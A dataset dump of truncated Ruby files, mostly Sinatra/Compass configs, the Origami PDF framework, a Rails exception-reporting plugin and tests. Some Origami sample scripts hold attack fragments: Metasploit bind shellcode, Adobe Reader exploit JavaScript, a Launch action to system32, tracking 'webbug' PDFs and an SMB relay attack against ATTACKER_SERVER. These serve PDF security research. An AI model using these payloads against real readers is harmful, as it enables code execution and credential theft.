code
stringlengths
1
1.73M
language
stringclasses
1 value
require 'sinatra/activerecord/rake' require './main'
Ruby
require 'sinatra.rb' # Sinatra defines #set at the top level as a way to set application configuration set :run, false set :env, (ENV['RACK_ENV'] ? ENV['RACK_ENV'].to_sym : :development) require './main' run Sinatra::Application
Ruby
# Require any additional compass plugins here. # Set this to the root of your project when deployed: http_path = "/" css_dir = "stylesheets" sass_dir = "sass" images_dir = "images" javascripts_dir = "javascripts" # You can select your preferred output style here (can be overridden via the command line): # o...
Ruby
=begin = File xdp.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as ...
Ruby
=begin = File widgets.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License...
Ruby
=begin = File patterns.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Licens...
Ruby
# encoding: UTF-8 require 'rubygems' require 'rdoc/task' require 'rake/testtask' require 'rubygems/package_task' spec = Gem::Specification.new do |s| s.name = "origami" s.version = "1.2.4" s.author = "Guillaume Delugré" s.email = "guillaume at security-labs dot org" s.homepage = "http://...
Ruby
=begin = File outline.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License...
Ruby
=begin = File string.rb = Info Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope...
Ruby
=begin = File page.rb = Info Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope t...
Ruby
=begin = File name.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as...
Ruby
=begin = File encryption.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume DelugrÈ <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Lice...
Ruby
=begin = File boolean.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume DelugrÈ <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License...
Ruby
=begin = File signature.rb = Info Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the h...
Ruby
=begin = File javascript.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Li...
Ruby
=begin = File dictionary.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume DelugrÈ <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Lice...
Ruby
=begin = File pdf.rb = Info Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope th...
Ruby
=begin = File xreftable.rb = Info Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the h...
Ruby
=begin = File outputintents.rb = Info Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in t...
Ruby
=begin = File object.rb = Info Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope...
Ruby
=begin = File parser.rb = Info Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope...
Ruby
=begin = File webcapture.rb = Info Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the ...
Ruby
=begin = File stream.rb = Info Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope...
Ruby
=begin = File array.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume DelugrÈ <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License a...
Ruby
=begin = File numeric.rb = Info Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hop...
Ruby
module Origami module Obfuscator WHITECHARS = [ " ", "\t", "\r", "\n", "\0" ] OBJECTS = [ Array, Boolean, Dictionary, Integer, Name, Null, Stream, String, Real, Reference ] MAX_INT = 0xFFFFFFFF PRINTABLE = ("!".."9").to_a + (':'..'Z').to_a + ('['..'z').to_a + ('{'..'~').to_a FILTERS = [ :FlateD...
Ruby
=begin = File reference.rb = Info Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the h...
Ruby
=begin = File file.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as...
Ruby
=begin = File filters/ccitt.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public L...
Ruby
=begin = File filters/ascii.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public L...
Ruby
=begin = File filters/jpx.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Lic...
Ruby
=begin = File filters/runlength.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Publ...
Ruby
=begin = File filters/lzw.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Lic...
Ruby
=begin = File filters/crypt.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public L...
Ruby
=begin = File filters/jbig2.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public L...
Ruby
=begin = File filters/predictors.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Pub...
Ruby
=begin = File filters/dct.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Lic...
Ruby
=begin = File filters/flate.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public L...
Ruby
=begin = File metadata.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Licens...
Ruby
=begin = File trailer.rb = Info Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hop...
Ruby
=begin = File graphics/colors.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public...
Ruby
=begin = File graphics/text.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public L...
Ruby
=begin = File graphics/render.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public...
Ruby
=begin = File graphics/state.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public ...
Ruby
=begin = File graphics/xobject.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Publi...
Ruby
=begin = File graphics/path.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public L...
Ruby
=begin = File graphics/instruction.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General P...
Ruby
=begin = File graphics/patterns.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Publ...
Ruby
=begin = File parsers/fdf.rb = Info Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the...
Ruby
=begin = File parsers/linear.rb = Info Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in ...
Ruby
=begin = File parsers/pdf.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Lic...
Ruby
=begin = File parsers/ppklite.rb = Info Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in...
Ruby
=begin = File export.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume DelugrÈ <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License ...
Ruby
=begin = File origami.rb = Info Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hop...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami INPUTFILE = "attached.txt" OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Now generating a new PDF file from scratch!" # Creatin...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami INPUTFILE = "helloworld.swf" OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Now generating a new PDF file from scratch!" # Creat...
Ruby
#!/usr/bin/ruby require 'openssl' begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" CERTFILE = "test.crt" RSAKEYFILE = "test.key" contents = ContentStream.ne...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami pdf = PDF.read(ARGV[0]) # win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com win32_bin = "%u03eb%ueb59%ue805...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami pdf = PDF.read(ARGV[0]) jscript = %Q| //############## //Exploit made by Arr1val //Proved in adobe 9.1 and adobe 8.1.4 on linux // //Steps: /...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami pdf = PDF.read(ARGV[0]) jscript = %Q| //############## //Exploit made by Arr1val //Proved in adobe 9.1 and adobe 8.1.4 on linux //###########...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" params = Action::Launch::WindowsLaunchParams.new params.F = "C:\\\\WINDOWS\\\\system32\\\...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG ) index = 1 pages = pdf.pages pages.each do |page| page.onOpen(Action::...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG ) pages = pdf.pages pages.each do |page| page.onOpen(Action::Named.new...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "webbug-browser.pdf" puts "Now generating a new bugged PDF file from scratch!" URL = "http://localhost/webbug-browser.html" pdf...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "webbug-js.pdf" JSCRIPTFILE = "submitform.js" puts "Now generating a new PDF file from scratch!" contents = ContentStream.new.se...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "webbug-reader.pdf" URL = "http://localhost/webbug-reader.php" puts "Now generating a new bugged PDF file from scratch!" pdf = ...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Now generating a new PDF file from scratch!" pdf = PDF.new page = Page.new conte...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Now generating a new PDF file from scratch!" pdf = PDF.new page = Page.new conte...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami # # SMB relay attack. # Uses a GoToR action to open a shared network directory. # ATTACKER_SERVER = "localhost" pdf = PDF.read(ARGV[0]) dst ...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami if defined?(PDF::JavaScript::Engine) INPUTFILE = "attached.txt" # Creating a new file pdf = PDF.new # Embedding the file into the P...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Now generating a new PDF file from scratch!" # Creates an encrypted document with...
Ruby
require 'test/unit' require 'stringio' class TC_Pages < Test::Unit::TestCase def setup @target = PDF.new @output = StringIO.new end # def teardown # end def test_appendpage p1, p2, p3 = Page.new, Page.new, Page.new assert_nothing_raised do @target.append_page p1...
Ruby
require 'test/unit' class TC_PdfParse < Test::Unit::TestCase def setup @data = %w{ test/dataset/empty.pdf test/dataset/calc.pdf test/dataset/crypto.pdf } @dict = StringScanner.new "<</N 2 0 R/x1 null/Pi 3.14 /a <<>>>>" @bytestring = StringSca...
Ruby
require 'test/unit' require 'stringio' class TC_Streams < Test::Unit::TestCase def setup @target = PDF.new @output = StringIO.new @data = "0123456789" * 1024 end # def teardown # end def test_predictors stm = Stream.new(@data, :Filter => :FlateDecode) stm.set_...
Ruby
require 'test/unit/testsuite' require 'tc_pdfparse.rb' require 'tc_streams.rb' require 'tc_pdfencrypt.rb' require 'tc_pdfsig.rb' require 'tc_pdfattach.rb' require 'tc_pages.rb' require 'tc_actions.rb' require 'tc_annotations.rb' require 'tc_pdfnew.rb' begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.d...
Ruby
require 'test/unit' class TC_Actions < Test::Unit::TestCase def setup @target = PDF.new @page = Page.new @action = Action::JavaScript.new "app.alert(null);" end # def teardown # end def test_pdf_actions @target.onDocumentOpen @action @target.onDocumentClose @action...
Ruby
require 'test/unit' require 'stringio' class TC_PdfNew < Test::Unit::TestCase def setup @output = StringIO.new end # def teardown # end def test_pdf_struct pdf = PDF.new null = Null.new assert_nothing_raised do pdf << null end assert_nothing_raise...
Ruby
require 'test/unit' require 'stringio' class TC_PdfAttach < Test::Unit::TestCase def setup @target = PDF.new @attachment = "test/dataset/test.dummycrt" @output = StringIO.new end # def teardown # end def test_attachfile assert_nothing_raised do fspec = @target.at...
Ruby
require 'test/unit' require 'stringio' class TC_PdfEncrypt < Test::Unit::TestCase def setup @target = PDF.read("test/dataset/calc.pdf", :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET) @output = StringIO.new end # def teardown # end def test_encrypt_rc4_40b @outpu...
Ruby
require 'test/unit' require 'stringio' class TC_PdfSig < Test::Unit::TestCase def setup @target = PDF.read("test/dataset/calc.pdf", :ignore_errors => false, :verbosity => Parser::VERBOSE_QUIET) @output = StringIO.new @cert = OpenSSL::X509::Certificate.new(File.read("test/dataset/test.dummycr...
Ruby
require 'test/unit' require 'stringio' class TC_Annotations< Test::Unit::TestCase def setup @target = PDF.new @page = Page.new @action = Action::JavaScript.new "app.alert(null);" @output = StringIO.new end # def teardown # end def test_annotations circle = A...
Ruby
require "net/http" require "rake" require "catch_ex" ActionController::Base.send :include, CatchEx::ActionController Rake::Application.send :include, CatchEx::Rake
Ruby
require 'rake' require 'rake/testtask' require 'rake/rdoctask' desc 'Default: run unit tests.' task :default => :test desc 'Test the catch_ex plugin.' Rake::TestTask.new(:test) do |t| t.libs << 'lib' t.libs << 'test' t.pattern = 'test/**/*_test.rb' t.verbose = true end desc 'Generate documentation for the ca...
Ruby
# Uninstall hook code here
Ruby
require "net/http" print "Enter CatchEx authentication information.\n" print "Username: " username = STDIN.gets print "Password: " password = STDIN.gets http = Net::HTTP.new("localhost", 3000) req = Net::HTTP::Get.new("/auth") req.basic_auth username.strip, password.strip response = http.request(req) if response.co...
Ruby
require 'socket' module CatchEx @@CATCH_EX_URL = "http://localhost:3000" @@DATA_PUSH_URL = @@CATCH_EX_URL + "/service_ex" @@PLUGIN_VERSION = "1.0" @@LANGUAGE = "Ruby" @@SERVICE_NAME = "Rails" class << self # Fetch the local IP address for the hosts def local_ip orig = Socket.do_not_reverse_l...
Ruby
require 'rubygems' require 'active_support' require 'active_support/test_case'
Ruby
require "net/http" require "rake" require "catch_ex" ActionController::Base.send :include, CatchEx::ActionController Rake::Application.send :include, CatchEx::Rake CatchEx.reg_host
Ruby
require 'rake' require 'rake/testtask' require 'rake/rdoctask' desc 'Default: run unit tests.' task :default => :test desc 'Test the catch_ex plugin.' Rake::TestTask.new(:test) do |t| t.libs << 'lib' t.libs << 'test' t.pattern = 'test/**/*_test.rb' t.verbose = true end desc 'Generate documentation for the ca...
Ruby
# Uninstall hook code here
Ruby
require 'fileutils' dir = File.dirname(__FILE__) FileUtils.cp "#{dir}/catchex.key", "#{dir}/../../../config/" unless File.exist?("#{dir}/catchex.key") FileUtils.cp "#{dir}/hostname", "#{dir}/../../../config/" unless File.exist?("#{dir}/hostname") FileUtils.cp "#{dir}/404.html", "#{dir}/../../../public" FileUtils.cp "#...
Ruby
require 'socket' module CatchEx @@CATCH_EX_URL = "http://www.catchex.com" @@DATA_PUSH_URL = @@CATCH_EX_URL + "/service_ex" @@REG_HOST_URL = @@CATCH_EX_URL + "/reg_host" @@PLUGIN_VERSION = "1.0" @@LANGUAGE = "Ruby" class << self # Register the application when the rails starts. def reg_host N...
Ruby
require 'rubygems' require 'active_support' require 'active_support/test_case'
Ruby
# Require any additional compass plugins here. # Set this to the root of your project when deployed: http_path = "/" css_dir = "theme/css" sass_dir = "theme/scss" images_dir = "images" javascripts_dir = "js" # You can select your preferred output style here (can be overridden via the command line): output_style = :co...
Ruby
source :gemcutter gem 'sinatra', :require => 'sinatra/base' gem 'thin', '~> 1.3' gem 'pg' gem 'data_mapper', '~> 1.2' gem 'dm-postgres-adapter' gem 'google-api-client', '>= 0.4.3' group :development do gem 'dm-sqlite-adapter', '~> 1.2' gem 'do_sqlite3', '~> 0.10' end
Ruby
# Copyright (C) 2012 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writ...
Ruby
# Get the directory that this configuration file exists in dir = File.dirname(__FILE__) # Load the sencha-touch framework automatically. load File.join(dir, '..', 'themes') # Compass configurations sass_path = dir css_path = File.join(dir, "..", "css") environment = :development output_style = :expanded
Ruby
# Get the directory that this configuration file exists in dir = File.dirname(__FILE__) # Load the sencha-touch framework automatically. load File.join(dir, '..', 'themes') # Compass configurations sass_path = dir css_path = File.join(dir, "..", "css") environment = :development output_style = :expanded
Ruby
$image_path = ".." dir = File.dirname(__FILE__) require File.join(dir, 'lib', 'theme_images.rb') require File.join(dir, 'lib', 'utils.rb') Compass::Frameworks.register 'ext4', dir
Ruby
stylesheet 'ext4.scss'
Ruby